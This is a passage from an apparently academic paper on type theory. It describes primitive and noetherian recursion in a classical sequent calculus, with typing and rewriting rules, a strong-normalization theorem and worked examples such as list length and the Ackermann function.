consider the possible cases for the chosen index. Instead, we quantify
over any index which is less than the given one. For example, recall
the recursive definition of the Nat data type from Example 1. We
can be more explicit about tracking the recursive sub-structure of the
constructors by indexing Nat with some ordered type, and ensuring
that each recursive instance of Nat has a smaller index, so that we
may define natural numbers by noetherian recursion over ordered
indices from a new kind called Ord:

dataNat(i : Ord)by noetherian recursion on iwhere

Z : ` Nat(i)|
S : Nat(j) `j<i Nat(i)|

Note that the kind of indices less than i is denoted by < i, and we
write j < i as shorthand for j : (< i). Noetherian recursion in
types is surprisingly more straightforward than primitive recursion,

and more closely follows the established pattern for data type
declarations:

Γ `Θ Z : Nat(N)|∆ NatRZ

Θ `M < N Γ `Θ v : Nat(M)|∆
Γ `Θ SM (v) : Nat(N)|∆

NatR S

Z builds a Nat(N) for any Ord index N , and SM (v) builds an
incremented Nat(N) out of a Nat(M), when M < N . To destruct
a Nat(N), for any index N , we have the one case abstraction that
handles both the Z and S cases:

c0 : (Γ `Θ ∆) c1 : (Γ, x : Nat(j) `Θ,j<N ∆)

Γ|µ̃[Z.c0|Sj<N (x).c1] : Nat(N) `Θ ∆
NatL

Like the case abstraction for tearing down an existentially con-
structed value, the pattern for S introduces the free type variable j
which stands for an arbitrary index less than N .

We can consider some other examples of (co-)data types defined
by noetherian recursion. The definition of finite lists is just an
annotated version of the definition from Example 1:

data List(i : Ord, a : ?)by noetherian recursion on iwhere

Nil : ` List(i, a)|
Cons : a, List(j, a) `j<i List(i, a)|

Furthermore, the infinite streams from Example 2 can also be defined
as a co-data type by noetherian recursion:

codataStream(i :Ord, a :?)by noetherian recursion on iwhere

Head : | Stream(i, a) ` a
Tail : | Stream(i, a) `j<i Stream(j, a)

Recursive co-data types follow the dual pattern as data types, with
finitely built observations and values given by case analysis on their
observations. For Stream(N,A), we can always ask for the Head
of the stream if we have some use for an input of type A, and we
can ask for its tail if we can use an input of type Stream(M,A), for
some smaller index M < N :

Γ|e : A `Θ ∆

Γ|Head[e] : Stream(N,A) `Θ ∆
StreamLHead

Θ `M < N Γ|e : Stream(M,A) `Θ ∆

Γ|TailM [e] : Stream(N,A) `Θ ∆
StreamLTail

Whereas a Stream(N,A) value is given by pattern-matching on
these two possible observations:
c : (Γ `Θ α : A,∆) c′ : (Γ `Θ,j<N β : Stream(j, A),∆)

Γ|µ(Head[α].c|Tailj<N [β].c′) : Stream(N,A) `Θ ∆
StreamR

As before, to write looping programs over recursive types with
bounded indices, we use an appropriate recursion scheme for
abstracting over the type index. The proof principle for noetherian
induction by a well-founded relation < on a set of ordinals O is:

(∀j : O.(∀i < j.P [i])→ P [j])→ (∀i : O.P [i])

which can be made more uniform by introducing an upper-bound to
the quantifier in the conclusion as well as in the hypothesis:

(∀j < n.(∀i < j.P [i])→ P [j])→ (∀i < n.→ P [i])

Likewise, a disproof of this argument is again a witness of a counter-
example within the chosen bound. We can then translate these
principles into inference rules in the sequent calculus, where we
represent this new recursion scheme by a co-data type Ascend:

Ascend(j, A) `j<N A j

` Ascend(N,A)

`M < N AM `
Ascend(N,A) `
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Note that we will write Ascend i < N.A as shorthand for the type
Ascend(N,λi : Ord.A). We use a similar reading of these rules as
a basis for noetherian recursion as we did for primitive recursion.
A refutation is still a specific counter-example, so it is represented
as a constructed co-term, whereas a proof is a process so is given
as a term defined by matching on its observation. Thus, we declare
Ascend as a co-data type of the form:

codataAscend(i : Ord, a : Ord→ ?)where

Rise : |Ascend(i, a) `j<i a j
Again, the general mechanism for co-data types tells us how to
construct the counter-example with Rise, and destruct it by simple
case analysis. The recursive form of case analysis is given manually
as the term µ(Risej<N [α](x).c), where x in the pattern is a self-
referential variable standing in for the term itself. The typing rule
for this recursive case analysis restricts access to itself by making
the type of the self-referential variable have a smaller upper bound:

c : (Γ, x : Ascend(j, A) `Θ,j<N α : A j,∆)

Γ `Θ µ(Risej<N [α](x).c) : Ascend(N,A)|∆

In essence, the terms of type Ascend i < N.A describe a process
which is capable of producing A{M/i} for any M < N by leaps
and bounds: an output of type A{M/i} is built up by repeating
the same process whenever it is necessary to ascending to an index
under M . In contrast, and similar to primitive recursion, co-terms
of type Ascend i < N.A hide the chosen index, forcing their input
to work for any index.

As always, the symmetry of sequents points us to the dual
formulation of noetherian recursion in programs. Specifically, we
get the dual data type, named Descend, with the following data
declaration and additional typing rule for recursive case analysis:

dataDescend(i : Ord, a : Ord→ ?)where

Fall : a j `j<i Descend(i, a)|

c : (Γ, x : A j `Θ,j<N α : Descend(j, A),∆)

Γ|µ̃[Fallj<N (x)[α].c] : Descend(N,A) `Θ ∆

Now that the roles are reversed, the terms of Descend i < N.A
hide the chosen index M at which they can produce a result of type
A{M/i}. Instead, the co-terms of Descend i < N.A consuming
A{M/i} for any index M < N : an input of type A{M/i} is
broken down by repeating the same process whenever it is necessary
to descend from an index under M .

5. A Parametric Sequent calculus with Recursion
We now flesh out the rest of the system for recursive types and
structures for representing recursive programs in the sequent cal-
culus. The core rules for kinding and sorting, which accounts for
both forms of type-level indices, are given in Figure 5. The rules
for the inequality of Ord, M < N , are enough to derive expected
facts like ` 4 < 6, but not so strong that they force us to consider
Ord types above∞. Specifically, the requirement that every Ord
has a larger successor, M < M + 1, only when there is an upper
bound already established, M < N , prevents us from introduc-
ing∞ < ∞ + 1. Additionally, we have two sorts of kinds, those
of erasable types, �, and non-erasable types, �. Types (of kind
?) for program-level (co-)values and Ord indices are erasable, be-
cause they cannot influence the behavior of a program, whereas
the Ix indices are used to drive primitive recursion, and cannot be
erased. Thus, this sorting system categorizes the distinction between
erasable and non-erasable type annotations found in programs.

Before admitting a user-defined (co-)data type into the system,
we need to check that its declaration actually denotes a meaningful

type. For the non-recursive (co-)data declarations, like those in
Figure 3, this well-formedness check just confirms that the sequent
associated to each constructor Ki or Hi is well-formed, given
by a derivation of (

# »
Bi ` #  »

a:k,
#     »
di:li

# »
Ci) seq from Figure 5. When

checking for well-formedness of (co-)data types defined by primitive
induction on i : Ix, as with the general form

dataF(i : Ix,
#      »

a : k)by primitive recursion on i

where i = 0 K1 :
#  »
B1 ` #      »

d1:l1
F(0, #»a )| # »

C1 . . .

where i = j + 1 K′1 :
#  »

B′1 ` #      »

d′1:l′1
F(j + 1, #»a )|

# »

C′1 . . .

the i = 0 case proceeds by checking that the sequents are
well-formed for each constructor K1 . . . without referencing i,
(

#  »
B1 ` #  »

a:k,
#      »
d1:l1

# »
C1) seq , and in the i = j + 1 case we check each

(
#  »

B′1 `j:Ix, #  »
a:k,

#      »

d′1:l′1

# »

C′1) seq with the extra rule

#                                           »

Θ, j : Ix,Θ′ ` A : k

Θ, j : Ix,Θ′ ` F(j,
#»
A) : ?

Intuitively, in the i = j + 1 case the sequents for the constructors
may additionally refer to smaller instances F(j,

#»
A) of the type being

defined. If the declaration is well-formed, we add the typing rules
for F similarly to a non-recursive (co-)data type. The difference
is that the constructors for the i = 0 and i = j + 1 case build a
structure of type F(0,

#»
A) and F(M + 1,

#»
A) with M substituted for

j, respectively. Additionally, there are two case abstractions: one
of type F(0,

#»
A) that only handles constructors of the i = 0 case,

and one of type F(M + 1,
#»
A) that only handles constructors of the

i = j + 1 case. Similarly, when checking for well-formedness of
(co-)data types F(i : Ord,

#      »

a : k) defined by noetherian induction on
i : Ord, we get to assume the type is defined for smaller indices:

Θ, i : Ord,Θ′ `M < i
#                                               »

Θ, i : Ord,Θ′ ` A : k

Θ, i : Ord,Θ′ ` F(M,
#»
A) : ?

Intuitively, the sequents for the constructors may refer to F(M,
#»
A),

so long as they introduce quantified type variables
#    »

d : l such that
#      »

a : k,
#    »

d : l `M < i. Other than this, the typing rules for structures
and case statements are exactly the same as for non-recursive
(co-)data types.

We also give the rewriting theory for the µµ̃S -calculus in
Figure 6, which is parameterized by the strategy S. Since the
classical sequent calculus inherently admits control effects, the result
of a program can completely change depending on the strategy—
〈length||Rise2[Cons(µδ.〈13||α〉,Nil), α]〉 results in 〈1||α〉 under
call-by-name evaluation and 〈13||α〉 under call-by-value—so that
the parametric µµ̃S -calculus is actually a family of related but
different rewriting theories for reasoning about different evaluation
strategies, thus enabling strategy-independent reasoning. The choice
of strategy is given as the syntactic notions of value and co-value: S
is the subset of terms V ∈ V alue and E ∈ CoV alue which may
be substituted for (co-)variables. In other words, the strategy refines
the range of significance for (co-)variables by limiting what they
might stand in for, and in this way it resolves the conflict between
both the µ- and µ̃-abstractions [6]. For example, the strategies for
call-by-value and call-by-name evaluation are shown in Figure 8,
and a strategy respresenting call-by-need evaluation is representable
this way as well [8].

The reduction rules are derived from the core theory of substi-
tution in µµ̃S (the top rules of Figure 6), plus rules derived from
generic β and η principles for every (co-)data type. Of note are the
ς rules, first appearing in Wadler’s dual calculus [20], and which we
derive from the βη principles for any (co-)data type [8]. The general
lifting rules for (co-)data types are described by the lifting contexts
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Θ ` 0 : Ix
Θ `M : Ix

Θ `M + 1 : Ix Θ ` 0 <∞
Θ `M <∞

Θ `M + 1 <∞
Θ `M < N

Θ `M < M + 1

Θ `M < N Θ ` N < N ′

Θ `M < N ′

a : k /∈ Θ′

Θ, a : k,Θ′ ` a : k

Θ, a : k1 ` B : k2 Θ ` k2 : �

Θ ` λa : k.B : k1 → k2

Θ ` A : k1 → k2 Θ ` B : k1

Θ ` A B : k2

Θ `M < N Θ ` N : Ord

Θ `M : Ord Θ ` ∞ : Ord

Θ ` k : �
Θ ` k : �

Θ ` k1 : � Θ ` k2 : �

Θ ` k1 → k2 : � Θ ` ? : � Θ ` Ix : � Θ ` Ord : �
Θ ` N : Ord

Θ ` (< N) : �

(`) seq

Θ ` A : ? (Γ `Θ ∆) seq

(Γ, x : A `Θ ∆) seq

Θ ` A : ? (Γ `Θ ∆) seq

(Γ `Θ α : A,∆) seq

Θ ` k : � (`Θ) seq

(`Θ,a:k) seq

Figure 5. Kinding, sorting, and well-formed typing sequents.

〈µα.c||E〉 →µE c{E/α} 〈V ||µ̃x.c〉 →µ̃V c{V/x} µα.〈v||α〉 →ηµ v µ̃x.〈x||e〉 →ηµ̃ e

〈K
#»
B (

#»
E,

#»
V )||µ̃[K

# »
b:k ( #»α , #»x ).c| . . .]〉 →βK

S
c{

#     »

B/b,
#      »

E/α,
#     »

V/x} 〈µ(H
# »
b:k [ #»x , #»α ].c| . . .)||H

#»
B [

#»
V ,

#»
E ]〉 →βH

S
c{

#     »

B/b,
#     »

V/x,
#      »

E/α}

CK
ς ::= K

#»
B (

#»
E,�, #»e , #»v ) || K

#»
B (

#»
E,

#»
V ,�, #»v ) CH

ς ::= H
#»
B [

#»
V ,�, #»v , #»e ] || H

#»
B [

#»
V ,

#»
E,�, #»e ]

CK
ς [v]→ςK

S
µα.〈v||µ̃y.〈CK

ς [y]||α〉〉 CH
ς [v]→ςH

S
µ̃x.〈v||µ̃y.〈x||CH

ς [y]〉〉 where v /∈ V alue

CK
ς [e]→ςK

S
µα.〈µβ.〈CK

ς [β]||α〉||e〉 CH
ς [e]→ςH

S
µ̃x.〈µβ.〈x||CH

ς [β]〉||e〉 where e /∈ CoV alue

Figure 6. Parametric rewriting theory for µµ̃S .

µ(Risej<N [α](x).c)→ µ(Risei<N [α].c{i/j, µ(Risej<i[α](x).c)/x}) µ̃[Fallj<N (x)[α].c]→ µ̃[Falli<N (x).c{i/j, µ̃[Fallj<i(x)[α].c]}]
〈V ||Up0[E]〉 → c0{E/α} 〈V ||UpM+1[E]〉 → 〈µβ.〈V ||UpM [β]〉||µ̃x.c1{M/j,E/α}〉 whereV = µ(Up0[α].c0|Upj+1[α](x).c1)

〈Down0(V )||E〉 → c0{V/x} 〈DownM+1(V )||E〉 → 〈µα.c1{M/j, V/x}||µ̃y.〈DownM (y)||E〉〉 whereE = µ̃[Down0.c0|Downj+1(x)[α].c1]

Figure 7. Rewriting theory for recursion in µµ̃S .

V ∈ V alueV ::= x || K( #»e ,
#»
V ) || µ(H

# »
b:k [ #»x , #»α ].c| . . .) V ∈ V alueN ::= v

E ∈ CoV alueV ::= e E ∈ CoV alueN ::= α || µ̃[K
# »
b:k ( #»α , #»x ).c| . . .] || H[ #»v ,

#»
E ]

Figure 8. The call-by-value (V) and call-by-name (V) strategies.

CK
ς and CH

ς for each (co-)constructor, and their role is to bring work
to the top of a command, so that it can take over.

To implement recursion in the rewriting theory, we use the
additional rules shown in Figure 7. The recursive case abstractions
for Ascend and Descend are simplified by “unrolling” their loop: the
recursive abstraction reduces to a non-recursive one by substituting
itself inward—with a tighter upper bound—for the recursive variable.
Intuitively, this index-unaware loop unrolling is possible because the
actual chosen index doesn’t matter, the loop must do the same thing
each time around regardless of the value of the index. Contrarily,
the Inflate and Deflate recursors operate strictly stepwise: they will
always go from step 10 to 9 and so on to 0. The indices used in the
constructor really do matter, because they can influence the behavior
of the program. This fact forces us to “unroll” the loop while pattern-
matching on structures like UpM+1[E] in tandem, unlike noetherian
recursion where the two steps can be performed independently.

We also have a restriction on reduction, following the motto
“don’t touch unreachable branches,” to ensure strong normaliza-
tion. Reduction may normally occur in all contexts, except for
reduction inside a case abstraction which requires an additional
reachability caveat about the kinds of quantified types introduced
by pattern matching. This restriction prevents unnecessary infinite

unrolling that would otherwise occur in simple commands like
〈length||Risei[α]〉. Intuitively, the reachability caveat prevents re-
duction inside a case abstraction which introduces type variables
that might be impossible to instantiate, like i < 0 or j < i. The
reductions following the reachability caveat are defined as:

c→ c′ b :
#     »

k →(< N) ∈ Θ =⇒ N =∞∨N = M + 1

µ(HΘ[ #»x , #»α ].c| . . .)→ µ(HΘ[ #»x , #»α ].c′| . . .)

c→ c′ b :
#     »

k →(< N) ∈ Θ =⇒ N =∞∨N = M + 1

µ̃[KΘ( #»α , #»x ).c| . . .]→ µ̃[KΘ( #»α , #»x ).c′| . . .]

We also define the type erasure operation on programs, Erase(c),
which removes all types from constructors and patterns in c with
an erasable kind, while leaving intact the unerasable Ix types. The
corresponding type-erased µµ̃S -calculus is the same, except that
the reachability caveat is enhanced to never reduce inside case
abstractions. This means that every step of a type-erased command
is justified by the same step in the original command, so that type-
erasure cannot introduce infinite loops.

To demonstrate strong normalization, we use a combination of
techniques. Giving a semantics for types based on Barbanera and
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Berardi’s symmetric candidates [4], a variant of Girard’s reducibility
candidates [9], as well as Krivine’s classical realizability [13], an
application of bi-orthogonality, establishes strong normalization of
well-typed commands. Of note, the strong normalization of well-
typed commands is parameterized by a strategy, which is enabled
by the parameterization of the rewriting theory. Thus, instead of
showing strong normalization of these related rewriting theories
one-by-one, we establish strong normalization in one fell swoop
by characterizing the properties of a strategy that are important
for strong normalization. First, the chosen strategy S must be
stable, meaning that (co-)values are closed under reduction and
substitution, and non-(co-)values are closed under substitution and ς
reduction. Second, S must be focalizing, meaning that (co-)variables,
structures built from other (co-)values, and case abstractions must
all be (co-)values. The latter criteria comes from focalization in
logic [7, 16, 21]—each criterion comes from an inference rule for
typing a (co-)value in focus.

Theorem 1. For any stable and focalizing strategy S , if c : Γ `Θ ∆
and (Γ `Θ ∆) seq , then c is strongly normalizing in the µµ̃S -
calculus. Furthermore, Erase(c) is strongly normalizing in the
type-erased µµ̃S -calculus.

Note that the call-by-name, call-by-value, and call-by-need
strategies from [8] are all stable and focalizing, so that as a corollary,
we achieve strong normalization for these particular instances of
the parametric µµ̃S -calculus. Furthermore, the “maximally” non-
deterministic strategy—attained by letting every term be a value and
every co-term be a co-value—is also stable and focalizing, which
gives another account of strong normalization for the symmetric
λ-calculus [14] as a corollary.

5.1 Encoding Recursive Programs via Structures
To see how to encode basic recursive definitions into the sequent
calculus using the primitive and noetherian recursion principles, we
revisit the previous examples from Section 2. We will see how the
intuitive argument for termination can be represented using the type
indices for recursion in various ways.
Example 4. Recall the length function from Example 1, as written
in sequent-style. As we saw, we could internalize the definition for
length into a recursively-defined case abstraction that describes
each possible behavior. Using the noetherian recursion principle in
the µµ̃S -calculus, we can give a more precise and non-recursive
definition for length:

length : ∀a : ?.Ascend i <∞. List(i, a)→ Nat(i)

length = µ(Speca[Risei<∞[Nil · γ](r)].〈Z||γ〉
|Speca[Risei<∞[Consj<i(x, xs) · γ](r)].

〈r||Risej [xs · µ̃y.〈Sj(y)||γ〉]〉)
The difference is that the polymorphic nature of the length function
is made explicit in System F-style, and the recursion part of the
function has been made internal through the Ascend co-data type.
Going further, we may unravel the deep patterns into shallow case
analysis, giving annotations on the introduction of every co-variable:
length = µ(Speca[αAscend i<∞. List(i,a)→Nat(i)].

〈µ(Risei<∞[βList(i,a)→Nat(i)](rAscend j<i. List(j,a)→Nat(j)).

〈µ([xsList(i,a) · γNat(i)]. 〈xs|
|µ̃[Nil.〈Z||γ〉

|Consj<i(xa, ysList(j,a)).〈r||Risej [ys·µ̃yNat(j).〈Sj(y)||γ〉]〉]〉)|
|β〉)|
|α〉)

Although quite verbose, this definition spells out all the information
we need to verify that length is well-typed and well-founded:
no guessing required. Furthermore, this core definition of length

is entirely in terms of shallow case analysis, making reduction
straightforward to implement. Since the correctness of programs
is ensured for this core form, which can be elaborated from the
deep pattern-matching definition mechanically, we will favor the
more concise pattern-matching forms for simplicity in the remaining
examples. End example 4.
Example 5. Recall the countUp function from Example 2. When
we attempt to encode this function into the µµ̃S -calculus, we
run into a new problem: the indices for the given number and
the resulting stream do not line up since one grows while the
other shrinks. To get around this issue, we mask the index of the
given natural number using the dual form of noetherian recursion,
and say that ANat = Descend i < ∞.Nat(i). We can then
describe countUp as a function from ANat to a Stream(i,ANat)
by noetherian recursion on i:

countUp : Ascend i <∞.ANat→ Stream(i,ANat)

countUp = µ(Risei<∞[x · Head[α]](r).〈x||α〉
|Risei<∞[Fallj<i(x) · Tailk<i[β]](r).

〈r||Risek[Fallj+1(Sj(x)) · β]〉)
End example 5.

Example 6. The previous example shows how infinite streams
may be modeled by co-data. However, recall the other approach to
infinite objects mentioned in Example 3. Unfortunately, an infinitely
constructed list like zeroes would be impossible to define in terms
of noetherian recursion: in order to use the recursive argument, we
need to come up with an index smaller than the one we are given,
but since lists are a data type their observations are inscrutable and
we have no place to look for one. As it turns out, though, primitive
recursion is set up in such a way that we can make headway. Defining
infinite lists to be InfList(a) = Inflate i : Ix . IxList(i, a), we can
encode zeroes as:

zeroes : InfList(Nat(0))

zeroes = µ(Up0[αIxList(0,Nat)].〈Nil||α〉
|Upi+1[αIxList(i+1,Nat)](rIxList(i,Nat)).〈Cons(Z, r)||α〉)

Even more, we can define the concatenation of infinitely constructed
lists in terms of primitive recursion as well. We give a wrapper, cat,
that matches the indices of the incoming and outgoing list structure,
and a worker, cat′, that performs the actual recursion:

cat : ∀a : ?. InfList(a)→ InfList(a)→ InfList(a)

cat = 〈µ(Speca[xs · ys · Upi[α]].

〈xs||Upi[µ̃zs.〈cat′||Upi[zs · ys · α]〉]〉)

cat′ : ∀a : ?. Inflate i : Ix . IxList(i, a)→ InfList(a)→ IxList(i, a)

cat′ = µ(Speca[Up0[Nil · ys · α]].〈Nil||α〉
|Speca[Upi+1[Nil · ys · α](r)].〈ys||Upi+1[α]〉
|Speca[Upi+1[Cons(x, xs) · ys · α](r)].

〈Cons(x, µβ.〈r||xs · ys · β〉)||α〉)

If we would like to stick with the “finite objects are data, infinite
objects are co-data” mantra, we can write a similar concatenation
function over possibly terminating streams:

codataStopStream(i <∞, a : ?)where

Head : |StopStream(i, a) ` a
Tail : |StopStream(i, a) `j<i 1, StopStream(j, a)

A StopStream(i, a) object is like a Stream(i, a) object except that
asking for its Tail might fail and return the unit value instead, so it
represents an infinite or finite stream of one or more values. This
co-data type makes essential use of multiple conclusions, which
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are only available in a language for classical logic. We can now
write a general recursive definition of concatenation in terms of the
StopStream co-data type:
〈cat||xs · ys · Head[α]〉 = 〈xs||Head[α]〉
〈cat||xs · ys · Tail[δ, β]〉 = 〈cat||µγ.〈xs||Tail[µ̃[().〈ys||β〉], γ]〉 · ys · β〉
This function encodes into a similar pair of worker-wrapper values,
where now a possibly infinite list is represented as a terminating
stream InfList(a) = Ascend i <∞. StopStream(i, a):
cat′ : ∀a : ?.Ascend i <∞.

StopStream(i, a)→ InfList(a)→ StopStream(i, a)

cat′ = µ(Speca[Risei<∞[xs · ys · Head[α]](r)].〈xs||α〉
|Speca[Risei<∞[xs · ys · Tailj<i[δ, β]](r)].

〈r||Risej [µγ.〈xs||Tailj [µ̃[().〈ys||Risej [β]〉], γ]〉 · ys · β]〉)

End example 6.
Intermezzo 1. It is worth pointing out why our encoding for “infinite”
data structures, like zeroes, avoids the problem underlying the
lack of subject reduction for co-induction in Coq [18]. Intuitively,
the root of the problem is that Coq’s co-inductive objects are non-
extensional, since the interaction between case analysis and the
co-fixpoint operator effectively allows these objects to notice if they
are being discriminated or not. In contrast, we take the extensional
view that the presence or absence of case analysis, in all of its
various forms, is unobservable. To ensure strong normalization,
the basic observation is instead a specific message that advertises
to the object exactly how deep it would like to go, thus restoring
extensionality and putting a limit on unfolding. End intermezzo 1.
Example 7. We now consider an example with a more complex
recursive argument that makes non-trivial use of lexicographic
induction. The Ackermann function can be written as:

〈ack||Z · y · α〉 = 〈S(y)||α〉
〈ack||S(x) · Z · α〉 = 〈ack||x · S(Z) · α〉
〈ack||S(x) · S(y) · α〉 = 〈ack||S(x) · y · µ̃z.〈ack||x · z · α〉〉

The fact that this function terminates follows by lexicographic
induction on both arguments: to every recursive call of ack, either
the first number decreases, or the first number stays the same and
the second number decreases. This argument can be encoded into
the basic noetherian recursion principle we already have by nesting
it twice:
ack : Ascend i <∞.Ascend j <∞.Nat(i)→ Nat(j)→ ANat

ack = µ(Risei<∞[Risej<∞[Z · y · α](r2)](r1).〈Fallj+1(Sj(y))||α〉

|Risei<∞[Risej<∞[Si
′<i(x) · Z · α](r2)](r1).

〈r1||Risei
′
[Rise1[x · S0(Z) · α]]〉

|Risei<∞[Risej<∞[Si
′<i(x) · Sj

′<j(y) · α](r2)](r1).

〈r2||Risej
′
[Si

′
(x) · y · µ̃[Fallk<∞(z).

〈r1||Risei
′
[Risek[x · z · α]]〉]]〉)

Essentially, we get two recursive arguments from nesting Ascend:

r1 : Ascend i′ < i.Ascend j <∞.Nat(i′)→ Nat(j)→ ANat

r2 : Ascend j′ < j.Nat(i)→ Nat(j′)→ ANat

The first recursive path r1 can be taken whenever the first argument
is smaller, in which case the second argument is arbitrary. The
second recursive path r2 can be taken whenever the second argument
is smaller and the first argument has the same index (the i in the
type of r2 matches the index of the original first argument to ack).
Again, we find that the dual form noetherian recursion, Descend, is
useful for masking the index of the output from ack. Furthermore, it
is interesting to note that in the third case of ack, we must explicitly
destruct the Descend-ed result from ack before performing the

second recursive call. In practical terms, this forces the nested
recursive call of the Ackermann function to be strict, even in a
lazy language. End example 7.

6. Natural Deduction and Effect-Free Programs
So far, we have looked at a calculus for representing recursion via
structures in sequent style, which corresponds to a classical logic
and thus includes control effects [11]. Let’s now briefly shift focus,
and see how the intuition we gained from the sequent calculus
can be reflected back into a more traditional core calculus for
expressing functional-style recursion. The goal here is to see how the
recursive principles we have developed in the sequent setting can be
incorporated into a λ-calculus based language: using the traditional
connection between natural deduction and the sequent calculus,
we show how to translate our primitive and noetherian recursive
types and programs into natural deduction style. In essence, we will
consider a functional calculus based on an effect-free subset of the
µµ̃S -calculus corresponding to minimal logic.

Essentially, the minimal restriction of the µµ̃S -calculus for
representing effect-free functional programs follows a single mantra,
based on the connection between classical and minimal logics:
there is always exactly one conclusion. In the type system, this
means that the sequent for typing terms has the more restricted
form Γ `Θ v : A, where the active type on the right is no longer
ambiguous and does not need to be distinguished with |, as is more
traditional for functional languages. Notice that this limitation on the
form of sequents impacts which type constructors we can express.
For example, common sums and products, declared as

data a⊕ bwhere

Left : a ` a⊕ b|
Right : b ` a⊕ b|

codata a& bwhere

Fst : |a& b ` a
Snd : |a& b ` b

fit into this restricted typing discipline, because each of their
(co-)constructors only ever involves one type to the right of en-
tailment. However, the (co-)data types for representing more exotic
connectives like subtraction and linear logic’s par

data a− bwhere

Pause : a ` a− b|b
codata a` bwhere

Split : |a` b ` a, b
do not fit, because they require placing two types to the right
of entailment. In sequent style, this means these minimal data
types can never contain a co-value, and minimal co-data types
must always involve exactly one co-value for returning the unique
result. In functional style, the data types are exactly the algebraic
data types used in functional languages, with the corresponding
constructors and case expressions, and the co-data types can be
thought of as merging functions with records into a notion of abstract
“objects” which compute and return a value when observed. For
example, to observe a value of type a& b, we could access the first
component as a record field, v.Fst, and we describe an object of
this type by saying how it responds to all possible observations,
{Fst⇒ v1| Snd⇒ v2}, with the typing rules:

Γ ` v1 : A Γ ` v2 : B

Γ ` {Fst⇒ v1| Snd⇒ v2} : A&B
Γ ` v : A&B
Γ ` v.Fst : A

Γ ` v : A&B
Γ ` v.Snd : B

Likewise, the traditional λ-abstractions and type abstractions from
System F can be expressed by objects of these form. Specifically,
since they are user-definable, minimal co-data types with one
constructor, Call : a|a → b ` b and Spec : |∀a `b:? a b, the
abstractions can be given as syntactic sugar:

λxA.v = {Call[xA]⇒ v} Λb?.v = {Specb:? ⇒ v}
Thus, these objects also serve as “generalized λ-abstractions” [2]
defined by shallow case analysis rather than deep pattern-matching.

The typing rules for recursive structures translated to functional
style are shown in Figure 9, and the reduction rules for the calculus
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Γ `Θ v0 : A{0/i} Γ, x : A{j/i} `Θ,j:Ix v1 : A{j + 1/i}

Γ `Θ {Up0 ⇒ v0|Upj+1(x)⇒ v1} : Inflate i : Ix .A

Γ `Θ v : Inflate i : Ix .A Θ `M : Ix

Γ `Θ v.UpM : A{M/i}

Γ `Θ v : A{M/i} Θ `M : Ix

Γ `Θ DownM (v) : Deflate i : Ix .A

Γ `Θ v : Deflate i : Ix .A Γ, x : A{0/i} `Θ v0 : C Γ, x : A{j + 1/i} `Θ,j:Ix v1 : A{j/i}

Γ `Θ loop v of Down0(x)⇒ v0|Downj+1(x)⇒ v1 : C

Γ, x : Ascend i < j.A `Θ,j<N v : A{j/i}

Γ `Θ {Risej<N (x)⇒ v} : Ascend i < N.A

Γ `Θ,j<N v : A{j/i}

Γ `Θ {Risej<N ⇒ v} : Ascend i < N.A

Γ `Θ v : Ascend i < N.A Θ `M < N

Γ `Θ v.RiseM : A{M/i}

Figure 9. Typing primitive and noetherian recursion in natural deduction style.

{H
# »
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v/x} case K
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B ( #»v )of K

# »
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v/x}

{Risej<N (x)⇒ v} → {Risei<N ⇒ v{i/j, {Risej<i(x)⇒ v}/x}}

{Up0 ⇒ v0|Upj+1(x)⇒ v1}.Up0 → v0 {Up0 ⇒ v0|Upj+1(x)⇒ v1}.UpM+1 → v1{M/j, {Up0 ⇒ v0|Upj+1(x)⇒ v1}.UpM/x}

loop Down0(v)of Down0(x)⇒ v0|Downj+1(x)⇒ v1 → v0{v/x}

loop DownM+1(v)of Down0(x)⇒ v0|Downj+1(x)⇒ v1 → loop DownM (v1{M/j, v/x})of Down0(x)⇒ v0|Downj+1(x)⇒ v1

Figure 10. Reduction rules for a natural deduction language with (co-)data types and recursion.
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# »
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[

= µ(Up0[α].〈v[||α〉|Upj+1[α](x).〈v[||α〉)

(loop v of Down0(x)⇒ v0|Downj+1(x)⇒ v1)[ = µα.〈v[||µ̃[Down0(x).〈v[0||α〉|Downj+1(x)[α].〈v[1||α〉]〉

Figure 11. Type-preserving translation from a pure, natural deduction language to µµ̃S .

are shown in Figure 10. Intuitively, the objects of Inflate(A) are
stepwise loops that can return any A N by counting up from
0 and using the previous instances of itself, while we can write
looping case expressions over values of Deflate(A) to count down
from any A N to 0. Similarly, values of Ascend(N,A) are self-
referential objects that always behave the same no matter the number
of recursive invocations. Curiously though, the recursive forms
for Descend(N,A) are conspicuously missing from the functional
calculus. In essence, the recursive form for Descend(N,A) is a case
expression that introduces a continuation variable for the recursive
path out of the expression in addition to the normal return path,
effectively requiring a form of subtraction typeC−Descend(M,A)
for smaller indices M . So while Descend can still be used to hide
indices, its recursive nature lies outside the pure functional paradigm.
This follows the frequent situation where one of four classical
principles gets lost in translation to intuitionistic or minimal settings.
It occurs with De Morgan laws (¬(A ∧B)→ (¬A) ∨ (¬B) is not
intuitionistically valid), the conjunctive and disjunctive connectives
of linear logic (` requires multiple conclusions so it does not fit the
minimal mold), and here as well.

Intuitively, we can think of the values of Inflate(A) as a depen-
dently typed version of the recursion operator for natural numbers
in Gödel’s System T [10]. Indeed, we can encode such an operator:

rec : ∀a : Ix→ ?.

a 0→ (Inflate i : Ix .a i→ a (i+ 1))→ Inflate i : Ix .a i

rec = λa x f.{Up0:Ix ⇒ x|Upj+1:Ix(r)⇒ f.Upj r}

So essentially, we are using the natural number index to drive the
recursion upward to compute some value, where the type of that

returned value can depend on the number of steps in the chosen
index. In a call-by-name setting, where we choose a maximal set
of values so that V can be any term, then the behavior of rec
implements the recursor: given that rec a x f →→ reca,x,f we have

reca,x,f .Up0 → x reca,x,f .UpM+1 → f.UpM (reca,x,f .UpM )

Contraposed, Deflate(A) implements a dependently-typed, step-
wise recursion going the other way. The looping form breaks down
a value depending on an arbitrary index N until that index reaches
0, finally returning some value which does not depend on the in-
dex. For instance, we can sum the values in any vector of numbers,
v : Vec(N,ANat), in accumulator style by looping over the recur-
sive structure Descend i : Ix .ANat⊗Vec(i,ANat):5

loop DownN (Fall0(Z), v)of

Down0(acc,Nil)⇒ acc

|Downi+1(acc,Cons(x, xs))⇒ (x+ acc, xs)

Instead, values of Ascend are useful for representing stronger
induction that recurses on deeply nested sub-structures. For example,
we can convert a list x1, x2, . . . , xn into a list of its adjacency pairs
(x1, x2), (x3, x4), . . . , (xn−1, xn) by

pairs Nil = Nil

pairs Cons(x, ys) = Nil

pairs Cons(x,Cons(y, zs)) = Cons((x, y), pairs zs)

5 Note, we assume an addition operator + : ANat→ ANat→ ANat.
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where we silently drop the final element if the list is odd. The pairs
function can be straightforwardly encoded using Ascend as:
